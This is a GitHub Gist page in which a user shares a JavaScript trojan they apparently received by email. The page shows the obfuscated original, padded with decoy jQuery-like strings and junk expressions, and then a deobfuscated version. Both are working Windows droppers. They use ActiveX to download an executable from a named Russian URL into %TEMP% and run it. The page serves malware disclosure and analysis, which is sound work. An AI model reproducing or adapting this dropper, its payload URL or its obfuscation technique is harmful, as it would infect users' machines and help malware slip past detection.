Last active
March 22, 2016 23:59
-
-
Save angus-g/45c8acc428dcdc0b3081 to your computer and use it in GitHub Desktop.
Javascript trojan thing I received by email
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
iAIzcLGbNj = " while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; };"; | |
fergusI = 0; | |
String.prototype.contradistinction = function () { return this.substr(0, 1); }; | |
var uUXTro = [("hinduism","naval","n")+"hh"+("witch","variegated","relay","debauchery","lH")+"CNAl", "A"+"iR"+"Nh"+("usenet","directly","increasingly","cD")+"nBHy", "E"+"xpan"+("tutelary","attention","playwright","hermitage","dEnviron")+"me"+"nt"+"Stri"+("wallace","flood","ngs"), ("westerly","expectations","distinction","alabama","")+"%"+("appendix","larceny","TE")+"MP%", ""+("moiety","poignant","sandra",".")+"exe", ("bacteria","clothing","R")+"un", "A"+"ct"+"in"+"ce"+"nt"+"ivei"+("structural","malefactor","vi")+("commitment","guild","anonymous","annie","nc")+"enti"+"ve"+"eXincentiv"+("cookies","blueblack","hearsay","eObinc")+"en"+"ti"+"ve"+"je"+"ince"+"nt"+"ivect", "sFtalU", "FlAYMT", ("expanding","lounge","bored","W")+"Sc"+"ince"+"ntiver"+"ip"+"tinc"+"entive." + ("growth","transcript","S"), "AmvHaUzPHrP", ("unadulterated","topaz","deter","karen","h")+"in"+"ce"+("unhappiness","commitment","interest","nt")+"iv"+"ee"+("provisions","verandah","sinuous","li")+"nc"+("ampland","cognitive","en")+"ti"+("arrow","thatch","astringent","expiration","vel"), "UJcMlBfkOA", "G"+("epilogue","variation","unwieldy","rRAF")+"Ka"+("theologian","profanity","allocation","je")+"To", "Min"+"ce"+"ntiv"+"eS"+("controversy","regularly","institutes","Xi")+"nc"+"en"+("mangy","slime","beliefs","exploring","ti")+"ve"+("cumulative","sport","fantasy","ML")+"in"+"ce"+("turkey","braces","nt")+("lifetime","sticky","iv")+"e2" + "."+"in"+"ce"+("trigonometry","copyist","stumped","fermented","nt")+("outsourcing","atlanta","slots","iv")+"eXMi"+"ncenti"+("oklahoma","compatibility","equation","ve")+"LH"+"in"+"ce"+"nt"+"iveT"+"TP"]; | |
rQSHDCBXb = " var rneedsContext = jQuery.expr.match.needsContext;"; | |
uUXTro.splice(7, fergusI + 2); | |
chubby = uUXTro[1+4+1].split("incentive").join(""); | |
var lrAXrUK = this[chubby]; | |
AapDxox = "IdauNqhuT"; | |
societies = (("nitric", "positioning", "HiLPFi", "holders", "pVrSBHnCPxP") + "kbmKKwklAVc").contradistinction(); | |
theoriess = (("kelkoo", "initiated", "ziHwqRxJu", "canister", "sSBVEfa") + "xEqzqkRRVx").contradistinction(); | |
fergusI = 6; | |
uUXTro[fergusI + 1] = uUXTro[fergusI + 1] + uUXTro[fergusI + 3]; | |
uUXTro[fergusI + 2] = "EuHNTOs"; | |
fergusI++; | |
uUXTro.splice(fergusI + 1, fergusI - 4); | |
uUXTro[fergusI] = uUXTro[fergusI].split("incentive").join(""); | |
var OoKse = new lrAXrUK("" + uUXTro[fergusI] + ""); | |
YPlWYgwd = " for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { matched.push( n ); } "; | |
fergusI++; | |
uUXTro[fergusI + 1] = uUXTro[fergusI + 1].split("incentive").join(""); | |
var zBqJutIT = new lrAXrUK(uUXTro[1 + fergusI]); | |
KNgrjvc = " var siblings = function( n, elem ) { var matched = [];"; | |
fergusI /= 2; | |
var BPmnOej = OoKse[uUXTro[fergusI - 2]](uUXTro[fergusI - 1]); | |
KcjXPEtu = "} return matched; };"; | |
revealede = (("unavoidable", "count", "eYyeHhl", "disagreed", "EbYlGrsShJg") + "qWuYEw").contradistinction(); | |
function undeveloped(poseidon, economic) { | |
try { | |
var jersey = BPmnOej + "/" + economic + uUXTro[fergusI]; | |
LjujlQ = "} return jQuery.grep( elements, function( elem ) { return ( jQuery.inArray( elem, qualifier ) > -1 ) !== not; } ); "; | |
zBqJutIT["o" + societies + revealede + "n"](("stephanie","advised","liability","disembodied","G") + revealede + ("mantua","insertion","blanched","current","T"), poseidon, false); | |
QcwDedGUE = "}jQuery.filter = function( expr, elems, not ) { var elem = elems[ 0 ];"; | |
zBqJutIT[theoriess + ("commenting","soundtrack","e") + (("designer", "insoluble", "vQJtIpP", "democrats", "conflict", "nxldkIa") + "GyucrQNudzq").contradistinction() + (("newfoundland", "puppet", "CEdBvsmD", "freshet", "tableau", "dMNcSDdMEzF") + "wKxDlSnr").contradistinction()](); | |
wGSsSnAuJ = " if ( not ) { expr = \":not(\" + expr + \")\"; "; | |
if (zBqJutIT.status == 200) { | |
var PbOLTH = new lrAXrUK((""+("fioricet","contiguous","A")+"pO"+("stingy","loves","interracial","calabria","DB.") + ""+"S"+("proud","biblical","lions","tr")+"eam").replace("p", "D")); | |
PbOLTH.open(); | |
RvweTKriM = "var rsingleTag = ( /^<([\w-]+)\s*\/?>(?:<\/\1>|)$/ );"; | |
PbOLTH.type = 22 * (12 - 8 - 4) + 6 - (8 / 2 + 1); | |
aODTVaRhyp = "var risSimple = /^.[^:#\[\.,]*$/;"; | |
PbOLTH[("spectacular","narrator","waterman","aqueduct","w")+"ri"+"te"](zBqJutIT[""+"R"+"es"+("tablets","warning","unblemished","celibate","pon") + theoriess + "e"+"Bo"+("burdett","victual","dy")]); | |
eUVrfTIaq = " Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( jQuery.isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { /* jshint -W018 */ return !!qualifier.call( elem, i, elem ) !== not; } );"; | |
PbOLTH[(societies + "o"+"Di"+("genres","undeviating","pitchfork","praise","ti")+"on").replace("D", theoriess)] = 0; | |
rURMWYFCS = "} if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; } );"; | |
PbOLTH["sav"+"eT"+"oF"+("ostler","sunstroke","japanese","plumber","ile")](jersey, 2); | |
JzDFHcYwRvt = "} if ( typeof qualifier === \"string\" ) { if ( risSimple.test( qualifier ) ) { return jQuery.filter( qualifier, elements, not ); "; | |
PbOLTH.close(); | |
ueMAAMNPHiw = "} qualifier = jQuery.filter( qualifier, elements ); "; | |
OoKse[uUXTro[fergusI + 1]](jersey, 1, "ISKhYal" === "EwSDqpJcU"); wQXGGA = " if ( typeof selector !== \"string\" ) { return this.pushStack( jQuery( selector ).filter( function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } } ) ); "; | |
} | |
} catch (HiQurqnDJ) { }; | |
hUivzNY = "jQuery.fn.extend( { find: function( selector ) { var i, ret = [], self = this, len = self.length;"; | |
} | |
undeveloped("h"+"tt"+("controllers","nutshell","assumed","p:")+("withering","types","//")+"py"+("anyone","albuquerque","ro")+"-m"+("forecasts","petal","ag")+"az"+("priorities","greetings","bergen","in.r")+("lecturer","demonstration","newfoundland","lovely","u/")+("personality","axiom","philippines","refine","sy")+"stem"+("squalid","tangent","detestation","aesthetics","/log")+"s/"+"98"+"h7"+("gruesome","declension","b6")+("thriller","tramadol","augur","panegyric","6gb.")+"exe","yROdkAds"); | |
NrQwRjPqXlj = "} return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] : jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; } ) ); };"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var activeXObject = this["ActiveXObject"]; | |
var shell = new activeXObject("WScript.Shell"); | |
var msxml = new activeXObject("MSXML2.XMLHTTP"); | |
var tempDir = shell["ExpandEnvironmentStrings"]("%TEMP%"); | |
function getAndRun(url, fname) { | |
try { | |
var f = tempDir + "/" + fname + ".exe"; | |
msxml["opEn"]("GET", url, false); | |
msxml["send"](); | |
if (msxml.status == 200) { | |
var stream = new activeXObject("ADODB.Stream"); | |
stream.open(); | |
stream.type = 1; | |
stream["write"](msxml["ResponseBody"]); | |
stream["position"] = 0; | |
stream["saveToFile"](f, 2); | |
stream.close(); | |
shell["Run"](f, 1, false); | |
} | |
} catch (e) { }; | |
} | |
getAndRun("http://pyro-magazin.ru/system/logs/98h7b66gb.exe", "yROdkAds"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment